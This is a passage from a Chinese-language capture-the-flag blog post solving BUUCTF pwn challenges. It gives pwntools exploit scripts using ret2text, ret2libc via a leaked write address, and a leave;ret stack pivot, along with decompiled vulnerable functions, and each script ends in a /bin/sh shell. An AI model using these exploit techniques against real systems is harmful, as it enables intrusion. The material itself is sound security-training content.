<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./guestbook&quot;</span>)</span><br><span class="line">fun_add = <span class="number">0x400620</span></span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x88</span>)+ p64(fun_add)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="0x1C-jarvisoj-level4"><a href="#0x1C-jarvisoj-level4" class="headerlink" title="0x1C.jarvisoj_level4"></a>0x1C.jarvisoj_level4</h2><p>ret2libc</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./level4&quot;</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./level4&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line">write_plt = elf.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_got = elf.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">main_addr = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x88</span>+<span class="number">4</span>)+ p32(write_plt) + p32(main_addr) + p32(<span class="number">1</span>)+p32(write_got) + p32(<span class="number">4</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">write_add = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> write_add</span><br><span class="line"></span><br><span class="line">base = write_add - write_got</span><br><span class="line">sys_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x88</span>+<span class="number">4</span>) + p32(sys_add)+ p32(main_addr)+ p32(bin_sh)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x1D-jarvisoj-level3"><a href="#0x1D-jarvisoj-level3" class="headerlink" title="0x1D.jarvisoj_level3"></a>0x1D.jarvisoj_level3</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vulnerable_function</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">136</span>]; <span class="comment">// [esp+0h] [ebp-88h] BYREF</span></span><br><span class="line"></span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;Input:\n&quot;</span>, <span class="number">7u</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./level3&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">28043</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./level3&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line">write_plt = elf.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">fun_add = <span class="number">0x0804844B</span></span><br><span class="line">write_got = elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x88</span> +<span class="string">&#x27;bbbb&#x27;</span> + p32(write_plt) + p32(fun_add) + p32(<span class="number">1</span>)+ p32(write_got)  + p32(<span class="number">4</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">write_add = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(write_add)</span><br><span class="line">io.recvuntil(<span class="string">&quot;Input:\n&quot;</span>)</span><br><span class="line">base = write_add - libc.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">sys_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x88</span> +<span class="string">&#x27;bbbb&#x27;</span> + p32(sys_add) +p32(<span class="number">0x10086110</span>) + p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x1E-Black-Watch-入群题-PWN"><a href="#0x1E-Black-Watch-入群题-PWN" class="headerlink" title="0x1E.[Black Watch 入群题]PWN"></a>0x1E.[Black Watch 入群题]PWN</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vul_function</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">size_t</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">size_t</span> v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">24</span>]; <span class="comment">// [esp+0h] [ebp-18h] BYREF</span></span><br><span class="line">  v0 = <span class="built_in">strlen</span>(m1);</span><br><span class="line">  write(<span class="number">1</span>, m1, v0);</span><br><span class="line">  read(<span class="number">0</span>, &amp;s, <span class="number">0x200</span>u);</span><br><span class="line">  v1 = <span class="built_in">strlen</span>(m2);</span><br><span class="line">  write(<span class="number">1</span>, m2, v1);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x20</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>其中s在bss段。</p>
<p>在read buf的位置正好可以覆盖返回地址，覆盖为s的地址，然后在s的地方写入构造好的payload。</p>
<p>s处：</p>
<blockquote>
<p>  p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)</p>
</blockquote>
<p>s：<code>0804A300</code></p>
<p>先说下buf处payload的构造：<code>p32(0x18*&#39;a&#39;) + p32(s_addr-4)+ p32(leave_ret)</code></p>
<p>ebp指向save_rbp的位置，也就是填入p32(s_addr_4)的位置。然后将返回地址写为leave_ret 的地址。</p>
<p>首先，执行leave_ret(也就是mov rsp,rbp;pop rbp)，会将rsp和rbp通同时指向save_rbp的位置，然后pop rbp，将rbp指向bss段的s_addr-4的位置；再之后rsp再次进行leave_ret，执行完后这时rsp指向bss段s_addr-4的位置，rbp指向s_addr的位置。（pop rbp会将rbp+4）</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./spwn&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">29713</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./spwn&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line">write_plt = elf.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_got = elf.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">leave_ret = <span class="number">0x08048408</span></span><br><span class="line">s_addr = <span class="number">0x0804A300</span></span><br><span class="line">io.recvuntil(<span class="string">&quot;name?&quot;</span>)</span><br><span class="line">payload = p32(write_plt) + p32(main) + p32(<span class="number">1</span>)+p32(write_got)+ p32(<span class="number">4</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">&quot;say?&quot;</span>)</span><br><span class="line">payload1 = <span class="number">0x18</span>*<span class="string">&#x27;a&#x27;</span>+p32(s_addr-<span class="number">4</span>) + p32(leave_ret)</span><br><span class="line">io.sendline(payload1)</span><br><span class="line">write_addr = u32(io.recv(<span class="number">4</span>))</span><br><span class="line">base = write_addr - write_got</span><br><span class="line">sys_addr = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload = p32(sys_addr) + p32(main) + p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">&quot;say?&quot;</span>)</span><br><span class="line">io.sendline(payload1)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x1F-bjdctf-2020-babystack2"><a href="#0x1F-bjdctf-2020-babystack2" class="headerlink" title="0x1F.bjdctf_2020_babystack2"></a>0x1F.bjdctf_2020_babystack2</h2><p>ret2text</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io = process(<span class="string">&quot;./bjdctf_2020_babystack2&quot;</span>)</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">backdoor = <span class="number">0x00400726</span></span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;-1&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span> + p64(backdoor)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>








                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/05/03/BUU-WEB-0x10-0x1F/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-06-01
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/06/01/BUU-PWN-0x01-0x0F/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#0x10-HarekazeCTF2019-baby-rop"><span class="toc-text">0x10.[HarekazeCTF2019]baby_rop</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x11-jarvisoj-level2-x64"><span class="toc-text">0x11.jarvisoj_level2_x64</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x12-ciscn-2019-n-5"><span class="toc-text">0x12.ciscn_2019_n_5</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x13-ciscn-2019-ne-5"><span class="toc-text">0x13.ciscn_2019_ne_5</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x14-%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9-%E7%AC%AC%E4%BA%94%E8%B5%9B%E5%8C%BA-2018-rop"><span class="toc-text">0x14.铁人三项(第五赛区)_2018_rop</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x14-others-shellcode"><span class="toc-text">0x14.others_shellcode</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x15-bjdctf-2020-babyrop"><span class="toc-text">0x15.bjdctf_2020_babyrop</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x16-babyheap-0ctf-2017"><span class="toc-text">0x16.babyheap_0ctf_2017</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x17-pwn2-sctf-2016"><span class="toc-text">0x17.pwn2_sctf_2016</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x18-ciscn-2019-s-3"><span class="toc-text">0x18.ciscn_2019_s_3</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x19-HarekazeCTF2019-baby-rop2"><span class="toc-text">0x19.[HarekazeCTF2019]baby_rop2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x1A-jarvisoj-fm"><span class="toc-text">0x1A.jarvisoj_fm</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x1B-jarvisoj-tell-me-something"><span class="toc-text">0x1B.jarvisoj_tell_me_something</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x1C-jarvisoj-level4"><span class="toc-text">0x1C.jarvisoj_level4</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x1D-jarvisoj-level3"><span class="toc-text">0x1D.jarvisoj_level3</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x1E-Black-Watch-%E5%85%A5%E7%BE%A4%E9%A2%98-PWN"><span class="toc-text">0x1E.[Black Watch 入群题]PWN</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x1F-bjdctf-2020-babystack2"><span class="toc-text">0x1F.bjdctf_2020_babystack2</span></a></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + BUU_PWN%E5%88%B7%E9%A2%98_0x10-0x1F + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F06%2F01%2FBUU-PWN-0x10-0x1F%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/06/01/BUU-PWN-0x10-0x1F/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
